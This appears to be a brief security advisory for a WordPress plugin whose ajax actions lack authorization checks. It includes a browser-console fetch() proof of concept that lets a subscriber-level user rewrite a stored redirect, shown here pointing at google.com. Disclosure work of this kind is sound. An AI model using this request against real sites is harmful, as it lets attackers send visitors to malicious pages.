The plugin does not authorize several ajax actions, allowing low-privilege users to make updates to certain data and leading to an arbitrary redirect vulnerability.
Visit, for example, the page <yourhost>?p=99999. This should create the first auto redirect entry in the wp_wpms_links table with ID 1. Now log in as a subscriber and enter the following js code in your web console on the dashboard:
fetch( 'admin-ajax.php', { method: 'POST', headers: {'Content-Type': 'application/x-www-form-urlencoded'}, body:'action=wpms&wpms_nonce=' + wpms_localize.wpms_nonce + "&task=update_link_redirect&link_id=1&link_redirect=https://google.com" } );
Now load <yourhost>?p=99999 again and notice that it redirects to `https://google.com`.